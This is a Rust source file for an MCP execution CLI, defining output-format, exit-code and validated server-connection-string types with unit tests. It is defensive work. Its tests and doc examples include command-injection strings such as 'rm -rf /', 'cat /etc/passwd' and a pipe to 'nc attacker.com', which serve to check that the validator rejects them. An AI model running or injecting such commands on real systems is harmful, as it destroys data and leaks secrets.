Skip to main content

mcp_execution_core/
cli.rs

1//! CLI-specific types and utilities.
2//!
3//! This module provides strong types for CLI concepts following Microsoft Rust
4//! Guidelines, ensuring type safety and clear intent throughout the CLI codebase.
5//!
6//! # Design Principles
7//!
8//! - Strong types over primitives (no raw strings/ints for domain concepts)
9//! - All types are `Send + Sync + Debug`
10//! - Validation at construction boundaries
11//! - User-friendly error messages
12//!
13//! # Examples
14//!
15//! ```
16//! use mcp_execution_core::cli::{OutputFormat, ExitCode, ServerConnectionString};
17//! use std::path::PathBuf;
18//!
19//! // Output format selection
20//! let format = OutputFormat::Pretty;
21//! assert_eq!(format.as_str(), "pretty");
22//!
23//! // Exit codes with semantic meaning
24//! let code = ExitCode::SUCCESS;
25//! assert_eq!(code.as_i32(), 0);
26//!
27//! // Validated server connection strings
28//! let conn = ServerConnectionString::new("github").unwrap();
29//! assert_eq!(conn.as_str(), "github");
30//! ```
31
32use std::fmt;
33use std::str::FromStr;
34
35/// CLI output format.
36///
37/// Determines how command results are formatted for user display.
38/// All formats provide the same information but with different presentation.
39///
40/// # Examples
41///
42/// ```
43/// use mcp_execution_core::cli::OutputFormat;
44///
45/// let format = OutputFormat::Json;
46/// assert_eq!(format.as_str(), "json");
47///
48/// let format: OutputFormat = "pretty".parse().unwrap();
49/// assert_eq!(format, OutputFormat::Pretty);
50/// ```
51#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Default)]
52pub enum OutputFormat {
53    /// JSON output for machine parsing
54    Json,
55    /// Plain text output for scripts
56    Text,
57    /// Pretty-printed output with colors for human reading
58    #[default]
59    Pretty,
60}
61
62impl OutputFormat {
63    /// Returns the string representation of the format.
64    ///
65    /// # Examples
66    ///
67    /// ```
68    /// use mcp_execution_core::cli::OutputFormat;
69    ///
70    /// assert_eq!(OutputFormat::Json.as_str(), "json");
71    /// assert_eq!(OutputFormat::Text.as_str(), "text");
72    /// assert_eq!(OutputFormat::Pretty.as_str(), "pretty");
73    /// ```
74    #[must_use]
75    pub const fn as_str(&self) -> &'static str {
76        match self {
77            Self::Json => "json",
78            Self::Text => "text",
79            Self::Pretty => "pretty",
80        }
81    }
82}
83
84impl fmt::Display for OutputFormat {
85    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
86        f.write_str(self.as_str())
87    }
88}
89
90impl FromStr for OutputFormat {
91    type Err = crate::Error;
92
93    fn from_str(s: &str) -> Result<Self, Self::Err> {
94        match s.to_lowercase().as_str() {
95            "json" => Ok(Self::Json),
96            "text" => Ok(Self::Text),
97            "pretty" => Ok(Self::Pretty),
98            _ => Err(crate::Error::InvalidArgument(format!(
99                "invalid output format: '{s}' (expected: json, text, or pretty)"
100            ))),
101        }
102    }
103}
104
105/// CLI exit code with semantic meaning.
106///
107/// Provides type-safe exit codes following Unix conventions.
108/// Success is 0, errors are non-zero with specific meanings.
109///
110/// # Examples
111///
112/// ```
113/// use mcp_execution_core::cli::ExitCode;
114///
115/// let code = ExitCode::SUCCESS;
116/// assert_eq!(code.as_i32(), 0);
117/// assert!(code.is_success());
118///
119/// let code = ExitCode::from_i32(1);
120/// assert!(!code.is_success());
121/// ```
122#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
123pub struct ExitCode(i32);
124
125impl ExitCode {
126    /// Successful execution (exit code 0).
127    pub const SUCCESS: Self = Self(0);
128
129    /// General error (exit code 1).
130    pub const ERROR: Self = Self(1);
131
132    /// Invalid input or arguments (exit code 2).
133    pub const INVALID_INPUT: Self = Self(2);
134
135    /// Server connection or communication error (exit code 3).
136    pub const SERVER_ERROR: Self = Self(3);
137
138    /// Execution timeout or resource limit exceeded (exit code 4).
139    pub const TIMEOUT: Self = Self(4);
140
141    /// Creates an exit code from an integer value.
142    ///
143    /// # Examples
144    ///
145    /// ```
146    /// use mcp_execution_core::cli::ExitCode;
147    ///
148    /// let code = ExitCode::from_i32(0);
149    /// assert_eq!(code, ExitCode::SUCCESS);
150    /// ```
151    #[must_use]
152    pub const fn from_i32(code: i32) -> Self {
153        Self(code)
154    }
155
156    /// Returns the exit code as an integer.
157    ///
158    /// # Examples
159    ///
160    /// ```
161    /// use mcp_execution_core::cli::ExitCode;
162    ///
163    /// assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
164    /// assert_eq!(ExitCode::ERROR.as_i32(), 1);
165    /// ```
166    #[must_use]
167    pub const fn as_i32(&self) -> i32 {
168        self.0
169    }
170
171    /// Checks if the exit code represents success.
172    ///
173    /// # Examples
174    ///
175    /// ```
176    /// use mcp_execution_core::cli::ExitCode;
177    ///
178    /// assert!(ExitCode::SUCCESS.is_success());
179    /// assert!(!ExitCode::ERROR.is_success());
180    /// ```
181    #[must_use]
182    pub const fn is_success(&self) -> bool {
183        self.0 == 0
184    }
185}
186
187impl Default for ExitCode {
188    fn default() -> Self {
189        Self::SUCCESS
190    }
191}
192
193impl From<ExitCode> for i32 {
194    fn from(code: ExitCode) -> Self {
195        code.0
196    }
197}
198
199impl fmt::Display for ExitCode {
200    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
201        write!(f, "{}", self.0)
202    }
203}
204
205/// Validated MCP server connection string.
206///
207/// Ensures server identifiers are non-empty and contain only valid characters.
208/// This prevents command injection and path traversal attacks.
209///
210/// # Security
211///
212/// - Rejects empty strings
213/// - Rejects strings with null bytes
214/// - Trims whitespace
215///
216/// # Examples
217///
218/// ```
219/// use mcp_execution_core::cli::ServerConnectionString;
220///
221/// let conn = ServerConnectionString::new("github").unwrap();
222/// assert_eq!(conn.as_str(), "github");
223///
224/// // Empty strings are rejected
225/// assert!(ServerConnectionString::new("").is_err());
226///
227/// // Whitespace is trimmed
228/// let conn = ServerConnectionString::new("  server  ").unwrap();
229/// assert_eq!(conn.as_str(), "server");
230/// ```
231#[derive(Debug, Clone, PartialEq, Eq, Hash)]
232pub struct ServerConnectionString(String);
233
234impl ServerConnectionString {
235    /// Creates a new validated server connection string.
236    ///
237    /// # Security
238    ///
239    /// This function validates input to prevent command injection attacks:
240    /// - Only allows alphanumeric characters and `-_./:` for safe server identifiers
241    /// - Rejects shell metacharacters (`&`, `|`, `;`, `$`, `` ` ``, etc.)
242    /// - Rejects control characters to prevent CRLF injection
243    /// - Length limited to 256 characters
244    ///
245    /// # Errors
246    ///
247    /// Returns an error if:
248    /// - The string is empty after trimming
249    /// - The string contains invalid characters
250    /// - The string contains control characters
251    /// - The string exceeds 256 characters
252    ///
253    /// # Examples
254    ///
255    /// ```
256    /// use mcp_execution_core::cli::ServerConnectionString;
257    ///
258    /// let conn = ServerConnectionString::new("my-server")?;
259    /// assert_eq!(conn.as_str(), "my-server");
260    ///
261    /// // Shell metacharacters are rejected for security
262    /// assert!(ServerConnectionString::new("server && rm -rf /").is_err());
263    /// # Ok::<(), mcp_execution_core::Error>(())
264    /// ```
265    pub fn new(s: impl Into<String>) -> crate::Result<Self> {
266        // Define allowed characters: alphanumeric, hyphen, underscore, dot, slash, colon
267        // This prevents command injection while allowing common server identifiers
268        const ALLOWED_CHARS: &str =
269            "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_./:";
270
271        let s = s.into();
272
273        // Check for control characters BEFORE trimming to prevent CRLF injection
274        if s.chars().any(|c| c.is_control() && c != ' ') {
275            return Err(crate::Error::InvalidArgument(
276                "server connection string cannot contain control characters".to_string(),
277            ));
278        }
279
280        let trimmed = s.trim();
281
282        if trimmed.is_empty() {
283            return Err(crate::Error::InvalidArgument(
284                "server connection string cannot be empty".to_string(),
285            ));
286        }
287
288        // Reject shell metacharacters to prevent command injection
289        if !trimmed.chars().all(|c| ALLOWED_CHARS.contains(c)) {
290            return Err(crate::Error::InvalidArgument(
291                "server connection string contains invalid characters (allowed: a-z, A-Z, 0-9, -, _, ., /, :)".to_string(),
292            ));
293        }
294
295        if trimmed.len() > 256 {
296            return Err(crate::Error::InvalidArgument(
297                "server connection string too long (max 256 characters)".to_string(),
298            ));
299        }
300
301        Ok(Self(trimmed.to_string()))
302    }
303
304    /// Returns the connection string as a string slice.
305    ///
306    /// # Examples
307    ///
308    /// ```
309    /// use mcp_execution_core::cli::ServerConnectionString;
310    ///
311    /// let conn = ServerConnectionString::new("server")?;
312    /// assert_eq!(conn.as_str(), "server");
313    /// # Ok::<(), mcp_execution_core::Error>(())
314    /// ```
315    #[must_use]
316    pub fn as_str(&self) -> &str {
317        &self.0
318    }
319}
320
321impl fmt::Display for ServerConnectionString {
322    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
323        write!(f, "{}", self.0)
324    }
325}
326
327impl FromStr for ServerConnectionString {
328    type Err = crate::Error;
329
330    fn from_str(s: &str) -> Result<Self, Self::Err> {
331        Self::new(s)
332    }
333}
334
335#[cfg(test)]
336mod tests {
337    use super::*;
338
339    // OutputFormat tests
340    #[test]
341    fn test_output_format_as_str() {
342        assert_eq!(OutputFormat::Json.as_str(), "json");
343        assert_eq!(OutputFormat::Text.as_str(), "text");
344        assert_eq!(OutputFormat::Pretty.as_str(), "pretty");
345    }
346
347    #[test]
348    fn test_output_format_default() {
349        assert_eq!(OutputFormat::default(), OutputFormat::Pretty);
350    }
351
352    #[test]
353    fn test_output_format_from_str_valid() {
354        assert_eq!("json".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
355        assert_eq!("text".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
356        assert_eq!(
357            "pretty".parse::<OutputFormat>().unwrap(),
358            OutputFormat::Pretty
359        );
360
361        // Case insensitive
362        assert_eq!("JSON".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
363        assert_eq!("TEXT".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
364        assert_eq!(
365            "PRETTY".parse::<OutputFormat>().unwrap(),
366            OutputFormat::Pretty
367        );
368    }
369
370    #[test]
371    fn test_output_format_from_str_invalid() {
372        assert!("invalid".parse::<OutputFormat>().is_err());
373        assert!("".parse::<OutputFormat>().is_err());
374        assert!("xml".parse::<OutputFormat>().is_err());
375    }
376
377    #[test]
378    fn test_output_format_display() {
379        assert_eq!(OutputFormat::Json.to_string(), "json");
380        assert_eq!(OutputFormat::Text.to_string(), "text");
381        assert_eq!(OutputFormat::Pretty.to_string(), "pretty");
382    }
383
384    // ExitCode tests
385    #[test]
386    fn test_exit_code_constants() {
387        assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
388        assert_eq!(ExitCode::ERROR.as_i32(), 1);
389        assert_eq!(ExitCode::INVALID_INPUT.as_i32(), 2);
390        assert_eq!(ExitCode::SERVER_ERROR.as_i32(), 3);
391        assert_eq!(ExitCode::TIMEOUT.as_i32(), 4);
392    }
393
394    #[test]
395    fn test_exit_code_from_i32() {
396        assert_eq!(ExitCode::from_i32(0), ExitCode::SUCCESS);
397        assert_eq!(ExitCode::from_i32(1), ExitCode::ERROR);
398        assert_eq!(ExitCode::from_i32(42).as_i32(), 42);
399    }
400
401    #[test]
402    fn test_exit_code_is_success() {
403        assert!(ExitCode::SUCCESS.is_success());
404        assert!(!ExitCode::ERROR.is_success());
405        assert!(!ExitCode::INVALID_INPUT.is_success());
406        assert!(!ExitCode::from_i32(42).is_success());
407    }
408
409    #[test]
410    fn test_exit_code_default() {
411        assert_eq!(ExitCode::default(), ExitCode::SUCCESS);
412    }
413
414    #[test]
415    fn test_exit_code_into_i32() {
416        let code = ExitCode::ERROR;
417        let value: i32 = code.into();
418        assert_eq!(value, 1);
419    }
420
421    #[test]
422    fn test_exit_code_display() {
423        assert_eq!(ExitCode::SUCCESS.to_string(), "0");
424        assert_eq!(ExitCode::ERROR.to_string(), "1");
425    }
426
427    // ServerConnectionString tests
428    #[test]
429    fn test_server_connection_string_valid() {
430        let conn = ServerConnectionString::new("github").unwrap();
431        assert_eq!(conn.as_str(), "github");
432
433        let conn = ServerConnectionString::new("my-server-123").unwrap();
434        assert_eq!(conn.as_str(), "my-server-123");
435    }
436
437    #[test]
438    fn test_server_connection_string_trims_whitespace() {
439        let conn = ServerConnectionString::new("  server  ").unwrap();
440        assert_eq!(conn.as_str(), "server");
441
442        // Control characters (other than space) are rejected before trimming
443        assert!(ServerConnectionString::new("\tserver\n").is_err());
444    }
445
446    #[test]
447    fn test_server_connection_string_rejects_empty() {
448        assert!(ServerConnectionString::new("").is_err());
449        assert!(ServerConnectionString::new("   ").is_err());
450        assert!(ServerConnectionString::new("\t\n").is_err());
451    }
452
453    #[test]
454    fn test_server_connection_string_from_str() {
455        let conn: ServerConnectionString = "server".parse().unwrap();
456        assert_eq!(conn.as_str(), "server");
457
458        assert!("".parse::<ServerConnectionString>().is_err());
459    }
460
461    #[test]
462    fn test_server_connection_string_display() {
463        let conn = ServerConnectionString::new("test-server").unwrap();
464        assert_eq!(conn.to_string(), "test-server");
465    }
466
467    // Security tests for command injection prevention
468    #[test]
469    fn test_server_connection_string_command_injection() {
470        // Shell metacharacters should be rejected
471        assert!(ServerConnectionString::new("server && rm -rf /").is_err());
472        assert!(ServerConnectionString::new("server; cat /etc/passwd").is_err());
473        assert!(ServerConnectionString::new("server | nc attacker.com").is_err());
474        assert!(ServerConnectionString::new("server $(malicious)").is_err());
475        assert!(ServerConnectionString::new("server `whoami`").is_err());
476        assert!(ServerConnectionString::new("server & background").is_err());
477    }
478
479    #[test]
480    fn test_server_connection_string_control_chars() {
481        // Control characters should be rejected (CRLF injection)
482        assert!(ServerConnectionString::new("server\r\n").is_err());
483        assert!(ServerConnectionString::new("server\0").is_err());
484        assert!(ServerConnectionString::new("server\t").is_err());
485    }
486
487    #[test]
488    fn test_server_connection_string_valid_chars() {
489        // These should still be valid
490        assert!(ServerConnectionString::new("github").is_ok());
491        assert!(ServerConnectionString::new("my_server").is_ok());
492        assert!(ServerConnectionString::new("server-123").is_ok());
493        assert!(ServerConnectionString::new("localhost:8080").is_ok());
494        assert!(ServerConnectionString::new("example.com/path").is_ok());
495    }
496
497    #[test]
498    fn test_server_connection_string_length_limit() {
499        // 256 characters should be allowed
500        let valid = "a".repeat(256);
501        assert!(ServerConnectionString::new(&valid).is_ok());
502
503        // 257 characters should be rejected
504        let too_long = "a".repeat(257);
505        assert!(ServerConnectionString::new(&too_long).is_err());
506    }
507}